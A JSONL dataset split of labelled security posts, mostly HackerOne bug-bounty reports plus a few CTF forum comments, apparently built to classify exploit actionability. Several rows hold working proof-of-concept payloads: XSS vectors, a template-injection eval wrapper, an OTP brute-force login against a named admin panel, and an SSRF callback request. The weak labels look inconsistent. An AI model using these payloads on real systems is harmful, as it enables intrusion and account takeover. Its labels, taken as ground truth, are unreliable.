-{"id": "ac42628b28b84ce77d61", "text": "[Unknown] URI parser's RFC3986 regular expression has poor performance when there are two # characters, leading to ReDoS\n\n## Summary\n\nHello team, I hope you're doing well! The `URI` parser mishandles invalid URLs that have two `#` characters. It does correctly identify that they're invalid, but the regex performs very poorly and execution time grows much faster than the string length.\n\nI found this somewhat accidentally when fuzzing for something else. I'm not sure if you care about such issues but I figured I'd report it anyway. The length of the strings required to actually cause the process to hang are very long, but it's not really an issue when the user-controlled input is sent in a request body.\n\n## Steps to reproduce\n\nRun the following script\n\n```ruby\nrequire 'benchmark'\nrequire 'uri'\n\ndef parse(n)\n  URI('https://example.com/dir/' + 'a' * n + '/##.jpg')\n  rescue URI::InvalidURIError\n  # Invalid URI because of the two #\nend\n\nn = 50000\nBenchmark.bm(7) do |x|\n  x.report('Base length') { parse(n) }\n  x.report('Length x2  ') { parse(n * 2) }\n  x.report('Length x4  ') { parse(n * 4) }\n  x.report('Length x8  ') { parse(n * 8) }\nend\n```\n\nHere's the output on my machine\n\n```plaintext\n              user     system      total        real\nBase length  1.086961   0.003059   1.090020 (  1.090500)\nLength x2    4.415046   0.000000   4.415046 (  4.416986)\nLength x4   22.021462   0.003294  22.024756 ( 22.042507)\nLength x8  122.695223   0.006653 122.701876 (122.853669)\n```\n\nWe can see the execution time is roughly quintuples when the string length only doubles.\n\nHere's my Ruby version\n\n```shell\n$ ruby -v\nruby 3.1.0p0 (2021-12-25 revision fb4df44d16) [x86_64-linux]\n```\n\n## Impact\n\nHigh resource consumption, reduced performance, denial of service", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "083c9533b178e7037186", "text": "[Unknown] [Java]: Timing attacks while comparing the headers value\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ab152ff218e2182083ea", "text": "[Improper Access Control - Generic] After changing the storefront password, the preview link is still valid\n\n##Description:\n\n1. The user needs to know the storefront password to generate the preview link.\n2. After the administrator changes the storefront password, users can still access the storefront through the preview link. \n\n3.reason:\n（1）User can generate preview link.\n（2）Simply changing the password will not invalidate the preview link. Only after closing and restarting the storefront password, the previous preview link will become invalid.\n\n##Step：\n\n1. Visit the storefront and enter the password.\n\n2.Search ```shopify.theme``` in the web development tool of the browser to get the theme ID value.\n{F1482354}\n\n3.Replace the value of the ```preview_theme_id parameter```.\n```\nhttps://your-store.myshopify.com.myshopify.com/?_ab=0&_fd=0&_sc=1&preview_theme_id=xxxxxxxx\n```\n\n4. Access the preview link, when the storefront password is changed, the preview link is still valid.\n\n5.Video:\n{F1482355}\n\n## Impact\n\nAfter changing the storefront password, the preview link is still valid", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e4a483df8d8abf420c12", "text": "[HTTP Response Splitting] Apache HTTP Server: mod_proxy_uwsgi HTTP response splitting (CVE-2023-27522)\n\n#Summary\n\nHTTP Response Smuggling vulnerability in Apache HTTP Server via mod_proxy_uwsgi. This issue affects Apache HTTP Server: from 2.4.30 through 2.4.55. Special characters in the origin response header can truncate/split the response forwarded to the client.\n\nhttps://httpd.apache.org/security/vulnerabilities_24.html#CVE-2023-27522\n\n## Impact\n\nThe response headers can be truncated, resulting in some headers being incorporated into the response body. If the later headers have any security purpose, they will not be interpreted by the client.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27522"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42ea22903b12b5e2a745", "text": "Everytime i’m looking for clues i always see you invested here helping people. Thanks a lot man!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "216a173456c9c65ee4d9", "text": "[Unknown] Error Page Content Spoofing or Text Injection\n\nDomain : cryptography.io\n\nDescription: Content spoofing, also referred to as content injection, \"arbitrary text injection\" or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.\n\nSteps to Reproduce:\n1 - Go to https://cryptography.io/en/latest/_sources/\n2 - Write anything after the slash and it will be printed in the page\n\nPOC: https://cryptography.io/en/latest/_sources/%20%20%20%20%20%20%20This%20site%20is%20moved%20to%20attacker.com\n\nReference: \nhttps://hackerone.com/reports/498562\nhttps://hackerone.com/reports/327671\n\nSolution:\n Just delete the printed path from the page\n\n## Impact\n\nThis attack is typically used as, or in conjunction with social engineering because the attack is exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7f62a9ad6fa3ab92a682", "text": "[Business Logic Errors] the domain is truck-admin.eu-east-1.indriverapp.com and Enter the management system of the blasting mobile phone verification code\n\n## Summary:\nFind the mobile phone number of the administrator through the WHOIS information, and then send the verification code. Assuming that the verification code expires for 30 seconds or 1 minute, we can only explode the correct verification code in a short time to log in to the management system, so I choose to blast The verification code between 6000 and 7000, and sends the verification code every time it blasts, knows that the correct verification code is found, and I only exploded 8 times to find the correct verification code\n\n## Steps To Reproduce:\n  1. Find the management address through the directory scanning:https://truck-admin.eu-east-1.indriverapp.com/admin/auth\n  2. Find the administrator's mobile phone number through WHOIS information:████████\n  3. Send the verification code through the mobile phone number, you will receive a four -digit verification code\n  4. Enter the four-digit verification code to log in and use Burpsuite to grab the package, blast the verification code and set the range of the verification code to 6000-7000, and the thread is set to 20 to ensure that the correct verification code can be blasting within 30 seconds within 30 seconds\n██████████\n\nrequest:\n```\nPOST /proxy/truck/api/admin/login HTTP/2\nHost: truck-admin.eu-east-1.indriverapp.com\nCookie: _gcl_au=1.1.354145541.1684380001; _ga=GA1.1.1412822094.1684380001; _ga_YBFM6LW448=GS1.1.1684382089.2.1.1684382341.58.0.0\nContent-Length: 37\nSec-Ch-Ua: \"Chromium\";v=\"21\", \" Not;A Brand\";v=\"99\"\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nOrigin: https://truck-admin.eu-east-1.indriverapp.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://truck-admin.eu-east-1.indriverapp.com/admin/auth\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n\n{\"phone\":\"██████\",\"code\":\"1234\"}\n ```\nBurp  Settings:\n█████████████\n  5. Repeat 3,4 steps until the correct verification code is exploded\n██████\n6. Add the cookie obtained in the fifth step to the request header and access https://truck-admin.eu-east-1.indriverapp.com/admin/order,and then enter the management system\n██████████\n█████████\n\n## Supporting Material/References:\n\n  * [attachment / reference]\n\n████\n████\n███\n\n## Impact\n\nCan get detailed information from all drivers and customers of the entire platform, including the driver's model license plate number, and customer taxi order records, taxi records include license plates/taxi position/reaching location, etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d0c6b7bca4dd898a071f", "text": "Nice tutorial, thanks.EDIT: I don’t understand the code. Not a language that i have played with. but only linux? The average linux user is advanced in IT so it will be hard to install. Why not release a code for Windows?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5a854573c061035d5314", "text": "[Cross-site Scripting (XSS) - Generic] ActionView sanitize helper bypass leading to XSS using SVG tag.\n\nIn the specific configuration, it was possible to bypass HTML sanitization by using the `use` tag of the `SVG` element.\n\nIn the `index.html.erb`:\n\n```ruby\n<%= sanitize \"<svg><use href=\\\"#x\\\"/></svg>\", tags: %w(svg use) %>\n```\n`use` tag allows to embed another base64 encoded `SVG` containing target XSS payload, base64 after decoding:\n\n```svg\n<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>\n<image href=\"1\" onerror=\"alert(window.origin)\" />\n</svg>\n```\n`SVG` and `use` tags had to be allowed either in global configuration  `config.action_view.sanitized_allowed_tags = ['svg', 'use']`\nor inline with `tags` argument of the helper.\n\n## Impact\n\nXSS could lead to data theft through the attacker’s ability to manipulate data through their access to the application, and their ability to interact with other users, including performing other malicious attacks, which would appear to originate from a legitimate user. These malicious actions could also result in reputational damage for the business through the impact on customers’ trust.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "78b4508dda14d8ba5a67", "text": "using apt list --installed | wc --lines will always give you incorrect answer cause it add a line before printing actual installed packages. using dpkg -l | grep '^ii' will show you the exact count", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d274cdd2eadf6553ef63", "text": "Thanks @n0manarmy . I was getting the reverse shell as “htb-student”. Then I ran “./leave_msg $( python -c…)” and in the end I got the reverse shell as root", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "870febf335adaa947dd3", "text": "[Cross-site Scripting (XSS) - Generic] XSS via Client Side Template Injection on www.███/News/Speeches\n\nDear DoD - Team,\nI am able to execute javascript code on www.███████/News/Speeches.\n\nThis endpoint has a search functionality with the parameter `Search`. The supplied value to this parameter gets embedded into the website.\nFurthermore the frontend of the website is presumably created with a template engine. These engines handle user supplied data within double curly braces `{{...}}` for example. If the user input is not sanitized corretly template injection can occur.\n\nWhen supplying the `Search` parameter with a value inside double curly braces it gets evaluated and the result is then embedded into the web page.\n\nFor example the search value `www.███████/News/Speeches?Search={{7*7}}` gets evaluated to `49` and put into the web page (see image_1.png).\nBesides simple mathematical equations, javascript code can be put inside those braces too (see image_2.png). This will execute the code as well which results in a XSS vulnerability.\n\nThere are some mitigations to this. For example some methods are blacklisted which means alert(1) is not allowed. However this can be bypassed by encoding the payload into a base64 string and call a decode method before evaluating (executing) the code.\n\nI've come up with a simple payload which triggers all javascript code thus bypassing the blacklisting of potential dangerous methods.\n\n`https://www.████/News/Speeches/?Search={{window['eval'](window['atob'](window['decodeURIComponent']('BASE_64_ENCODED_PAYLOAD')))}}`\n\nA poc video is attached.\n\n## Recap\n\nA client side template injection vulnerability is present through the `Search` parameter. This leads to the ability to run arbitrary javascript code on the client side.\n\n## Impact\n\n- run arbitrary javascript code on the victims machine\n- Since the javascript code is run within the realm of ██████ CORS bypass on other endpoints could be possible.\n- Forgery of information\n\n## System Host(s)\nwww.█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n- Copy the provided link in the description section\n- Replace the `BASE_64_ENCODED_PAYLOAD` with an actual base64 encoded javascript code. For Example `YWxlcnQoMSk=` which is `alert(1)` in base64.\n - Insert the crafted url into the browser.\n- done\n\n## Suggested Mitigation/Remediation Actions\nSanitize the user input so double curly braces `{{...}}` won't trigger a client side server injection", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "610702977a047b7e5008", "text": "[Insufficiently Protected Credentials] Shop App - Attacker is able to intercept authorization code during authentication (OAuth) and is able to get access to Microsoft Outlook email account\n\n## Summary:\n\n### Deep linking \nMobile apps have a unique vulnerability that is non-existent in the web: deep linking. Deep linking is a way of sending data directly to a native application from an outside source. A deep link looks like app:// where app is your app scheme and anything following the // could be used internally to handle the request.\nDeep links are NOT secure and you should never send any sensitive information in them. The reason deep links are not secure is because there is no centralized method of registering URL schemes. As an application developer, you can use almost any url scheme you choose by configuring it in Xcode for iOS or adding an intent on Android. There is nothing stopping a rogue application from hijacking your deep link by also registering to the same scheme and then obtaining access to the data your link contains.\n\n### Shop app - Microsoft Outlook Oauth flow and the vulnerability\nThe **Shop App** allows users to connect to their Microsoft Outlook  account to import orders from the emails (via OAuth flow). Therefore, the custom url scheme `shopapp://` is used for transmitting the authorization code at the end of the Oauth flow to the Shop App, which finally can be used to exchange the the authorization code with a valid session token from Microsoft.\n\nAnother (malicious) app is also able to claim the **same url scheme** and can intercept the authorization code! When the operating system has two or more applications to choose from when opening a link, Android will show the user a modal and ask them to choose which application to use to open the link. On iOS however, the operating system will make the choice for you, so the user will be blissfully unaware. Apple has made steps to address this issue in later iOS versions (iOS 11) where they instituted a first-come-first-served principle. Thus, if the malicious app is installed **BEFORE** the official Shop App, the malicious app \"wins\" and will receive the authorization code.\n\nNormally, a special Oauth flow for mobile apps (**Authorization Code Flow with Proof Key for Code Exchange (PKCE)**) is used to prevent this ! It prevents an attacker, if the authorization code was intercepted, to exchange the authorization code with a valid session token (see here for more information https://auth0.com/docs/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce). \nThis specific Oauth flow (PKCE) is not implemented by the Shop App for connecting a Microsoft Outlook account.\n\nThus, it is vulnerable to such kind of attacks. I created a malicious Android app which is able to intercept the authorization code (see PoC).\n\n## Steps To Reproduce:\n\n  1. Install the attached malicious Android App (F1926639) on your device.\n  2. Install the official/legit Shop App from the Google Play Store.\n  3. Open the legit Shop App, create an account and start connecting to your Microsoft Outlook account:  \n{F1926639}\n  4. Just log in to your Microsoft account and grant the Shop App the  permissions to access/read your emails: \n{F1926645}\n  5. After the login, a modal is shown which asks the user which app should handle the authentication. Choose \"Shop PRO\" (the malicious App):  \n{F1926673}\n  6. The malicious App successfully intercepted the authorization code, which can now be exchanged to get a valid session token to read the victim's emails:  \n{F1926677}\n\n**NOTE**: Keep in mind that under iOS the *first-come-first-served principle* applies. If the malicious App is installed **BEFORE** the official Shop App, the malicious app \"wins\" and will receive the authorization code.\n\n## Impact\n\nAn attacker is able to intercept an authorization code and exchanges it for a valid session token from Microsoft to gain read access to the victim's emails.\n\nOr the attacker uses the intercepted authorization code to link the Outlook account to his own Shop account via the endpoint https://server", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "47f57eef64574d3e3447", "text": "[Unknown] Race condition in faucet when using starport\n\nHi team, \nI and Aditya sent this bug over email on Wed, 29 Dec, 17:45 IST. Later we noticed that security reports are accepted via the HackerOne program. So, I am sending a copy of the bug report here. \n\n## Summary:\nWe were testing an application and we found a race condition bug in the faucet Implementation of Starport. \nhttps://github.com/tendermint/starport\n\n## Steps To Reproduce:\n1. Start a starport with the below configuration. Note the \"coins_max\" has been set to 11 tokens and hence a user cannot fetch more after the 11 token limits.\n\n```\naccounts:\n  - name: alice\n    coins: [\"0token\", \"200000000stake\"]\n  - name: bob\n    coins: [\"500token\", \"100000000stake\"]\nvalidator:\n  name: alice\n  staked: \"100000000stake\"\nclient:\n  openapi:\n    path: \"docs/static/openapi.yml\"\n  vuex:\n    path: \"vue/src/store\"\nfaucet:\n  name: bob\n  coins: [\"5token\", \"100000stake\"]  \n  coins_max: [\"11token\", \"100000stake\"]\n```\n\n2. Now call the request manually  with 5 tokens per request as in our configuration after 2 requests and 10 tokens in total Alice won't be able to fetch more tokens from the faucet\n\n```\nPOST / HTTP/1.1\nHost: 172.105.41.242:4500\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://172.105.41.242:4500/\nContent-Type: application/json\nOrigin: http://172.105.41.242:4500\nContent-Length: 63\nConnection: close\n{\n  \"address\": \"ALICE_ADDRESS\"}\n\n```\n\nNow we can confirm Alice cannot have more than 11 tokens. \n\n3.  Now regenerate the server and instead of sending a single request send a concurrent request to fetch tokens in Alice address.  We used 50 requests concurrently.\n\n{F1563051}\n\n4. Now when we check Alice balance it is 30 which should have not been more than 11\n\n{F1563052}\n\nWe believe the root cause of the issues is the go mapping which is not advised for concurrency \nhttps://github.com/tendermint/starport/blob/develop/starport/pkg/cosmosfaucet/transfer.go#L59\n\n## Supporting Material/References:\nhttps://cwe.mitre.org/data/definitions/362.html\n\n## Impact\n\nA malicious user can send concurrent requests to fetch more tokes from faucets than the \"max-credit limit\" which allows.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0c9a57bc81eb78189c27", "text": "[Unknown] Several Subdomains Takeover\n\nthere are some subdomains in reddit.com those are vulnerable to takeover subdomain attack. I found these subdomains while I have been testing the subdomains of reddit.com.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. create a user account in reddit.com.\n  2. there are some subdomain as sample: webcovid19.reddit.com (151.101.13.140) and click on this subdomain.\n  3. you will see \"Sorry, there aren’t any communities on Reddit with that name\" message.\n  4. now create an community with the same name \"webcovid19\".and you will not find any message as above.\n  5. well done. now you have the subdomain for your community.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n1-for details, please find attached screenshots.\n2-use this subdomain finder to find subdomains.\nhttps://subdomainfinder.c99.nl/\n\n## Impact\n\nattacker can use available unclaimed subdomains for malicious intention", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f34b61cc894a26b717c4", "text": "[Cross-site Scripting (XSS) - Generic] Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag\n\nIt seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.\n\njruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag\ncode\n```\ntags = %w(select style)\nputs \"------------------------------------------------------------------\"\nputs \"use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag\"\nputs \"input: <select<style/>W<xmp<script>alert(1)</script>\"\nputs \"output: \"+Rails::Html::SafeListSanitizer.new.sanitize(\"<select<style/>W<xmp<script>alert(1)</script>\", tags: tags).to_s\nputs \"------------------------------------------------------------------\"\n```\n\nresult\n```\ninput: <select<style/>W<xmp<script>alert(1)</script>\nscrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W\nscrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;alert(1)&lt;/script&gt;\nscrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;script&gt;alert(1)&lt;/script&gt;</xmp>\nscrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style>\nscrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select>\noutput: <select><style>W<script>alert(1)</script></style></select>\n```\n\nThis is a problem for CRuby as well if you use straightforward HTML that doesn't depend on how the parser corrects broken markup.\n\n```\nfrag = \"<select><style><script>alert(1)</script></style></select>\"\ntags = %w(select style)\nputs Rails::Html::SafeListSanitizer.new.sanitize(frag, tags: tags)\n```\n\noutputs\n\n```\n<select><style><script>alert(1)</script></style></select>\n```\n\non both CRuby and JRuby.\n\n## Impact\n\nIt is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9297f54bbdd5b86e1b0d", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on █████████\n\nI found RXSS on https://███████/██████\n\n## Impact\n\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nInject payload `r={payload}`\n\n1.  Copy and paste on Burpsuite Repeater:\n```\nPOST /███ HTTP/1.1\nHost: ████████\nCookie: CFID=26233; CFTOKEN=90ba2403db7cf6d0-EA17C9CD-25F4-FB4C-2DEC8DEF637D9544; JSESSIONID=4837C2581F93ABB4DC8F719B2881FA98.cfusion; USAASCpersistence=184943114.20480.0000; TS0102adba=01dbba97f7cb238df71647f1b721444c13c907477d6bbbdab26080274d698141cbde7445d9eac690029443ecf71a098be9ddf1b4285cb4c9fdec0c2d52e8c64f27a783caa91d63c57bc0492f850ce173197907096e69fb1671e87db9318cbbea85dad29ef8ff28ef59a7467ca3f87758b8d9f1ce8c\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 63\nOrigin: https://██████████\nReferer: https://████████/███████\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\nr=%22><svG%20onLoad=alert(9)>&btnAction=I+understand+and+accept\n```\n2. View the result:\n███████\n████████\n\n3. You can use this code to test on html files :\n```\n<html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://█████/████\" method=\"POST\">\n      <input type=\"hidden\" name=\"r\" value=\"&quot;&gt;&lt;svG&#32;onLoad&#61;alert&#40;9&#41;&gt;\" />\n      <input type=\"hidden\" name=\"btnAction\" value=\"I&#32;understand&#32;and&#32;accept\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n\n```\n\n## Suggested Mitigation/Remediation Actions\nFilter input on arrival\nEncode data on output\nUse appropriate response headers\nContent Security Policy.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "48f9e12f617b04e2bf1c", "text": "What should I do with links in comments on my site?\n\nWe have the same problem here... We are able to make any post with a link go into a pre-mod que for review on NEW Members.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-05-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f346309f7dd246d68064", "text": "[Path Traversal] Disclosure of github access token in config file via nignx off-by-slash\n\n## Summary:\n`██████████` is vulnerable to Nginx off-by-slash vulnerability that exposes Git configuration.\n\n## Steps To Reproduce:\n1. Visit `https://█████████████` to download git config containing username and token.\n2. Use it to pull entire source code via `git clone ████████`\n\nLeaked:\n```\n[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n[remote \"origin\"]\n\turl = ████\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n[branch \"master\"]\n\tremote = origin\n\tmerge = refs/heads/master\n[branch \"vespa-2021-Q4\"]\n\tremote = origin\n\tmerge = refs/heads/vespa-2021-Q4\n```\n\n## Impact\n\nMalicious attacker can mess around using the leaked github token to access and modify or even try to delete github repos that the token has permission to.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d572c18671cff80ce31f", "text": "[Privilege Escalation] Subdomain Takeover at course.oberlo.com\n\nHi,\nI was able to takeover your subdomain `course.oberlo.com` via using `kajabi` services.\n\n## `Poc :`\n\nvisit https://course.oberlo.com/ you will see my poc \n\nhttps://web.archive.org/web/20220904143512/https://course.oberlo.com/\n\n\n\n## `Suggested Fix :`\n\nClear your subdomain DNS.\n\n## Impact\n\nSubdomains Takeovers can be use in many things :\nMalware\nPhishing / Spear phishing\nXSS\nAuthentication bypass\nOpen Redirects\nTrue access\n.. etc\n\n\n****************************************\nKind Regards,\nMohamed Haron.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c90e1f1e71ef6de2842f", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF at packagist.maximum.nl\n\nHello Team,\n\nI found a subdomain vulnerable to header blind SSRF: packagist.maximum.nl\n\n## Steps to Reproduce\n1 - Go to https://packagist.maximum.nl/ and intercept it.\n2 - Send a GET request adding the parameter X-Forwarded-For and adding a header X-Forwarded-For, the value the header is your Burp Collaborator or similar (Requestbin, Interactsh, your server, etc)\nGET /?X-Forwarded-For HTTP/1.1\nX-Forwarded-For: your-server\n\nLook my request, I used Interactsh:\n```GET /?X-Forwarded-For HTTP/2\nHost: packagist.maximum.nl\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0\nX-Forwarded-For: c9a9rsjsppqr5jq1fc505qebqe1y6g41n.oast.pro\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\n```\n3 - Look your server, burp collaborator or Interactsh.\n\nResponse of my server (Interactsh):\n```[c9a9rsjsppqr5jq1fc505qebqe1y6g41n] Received DNS interaction (A) from ████████ at 2022-04-11 21:31:46```\n\n## Impact\n\nThe attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform arbitrary command execution.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "316f63bd0227979246a6", "text": "This 2 methods work: netstat -l4 | grep “LISTEN” | grep -v “localhost” | wc -l you could also use a far less simple command → netstat -l | grep “tcp” | grep -v “tcp6” | grep -v “localhost” | wc -l ss -l4 | grep “LISTEN” | grep -v “127.0.0.*” | wc -l I am not sure why <grep “LISTEN”> is needed since the filter -l should return listening only. If not used, then UDP services will list as well. Any clues why?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21ee412664a808f44310", "text": "[Uncontrolled Resource Consumption] CVE-2022-27781: CERTINFO never-ending busy-loop\n\nPublished Advisory: https://curl.se/docs/CVE-2022-27781.html\n\nOriginal Report: https://hackerone.com/reports/1555441\n\n## Impact\n\nDue to an erroneous function, a malicious server could make libcurl built with NSS get stuck in a never-ending busy-loop when trying to retrieve that information.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27781"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a4be3d1d2a2d59c39ab1", "text": "[Misconfiguration] Outdated Copyright Message @ Welcome email\n\nPOC :\n\nDescription : Outdated Copyright is present @ Welcome to UPchieve! email  which is of years \"2020\"\n\nImpacted Security Property : Integrity\n\nASVS Categories : Architecture , Design and Threat Modeling\n\nPOC email and video :  Gmail - Welcome to UPchieve!.pdf and recording-1632912432386.webm \n\nSuggested Remediation : Year mentioned in the copyright should be updated to the current one and at present it is 2021\n\n@thug645\n\n## Impact\n\nIt will create bad branding impression in front of stake holders.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
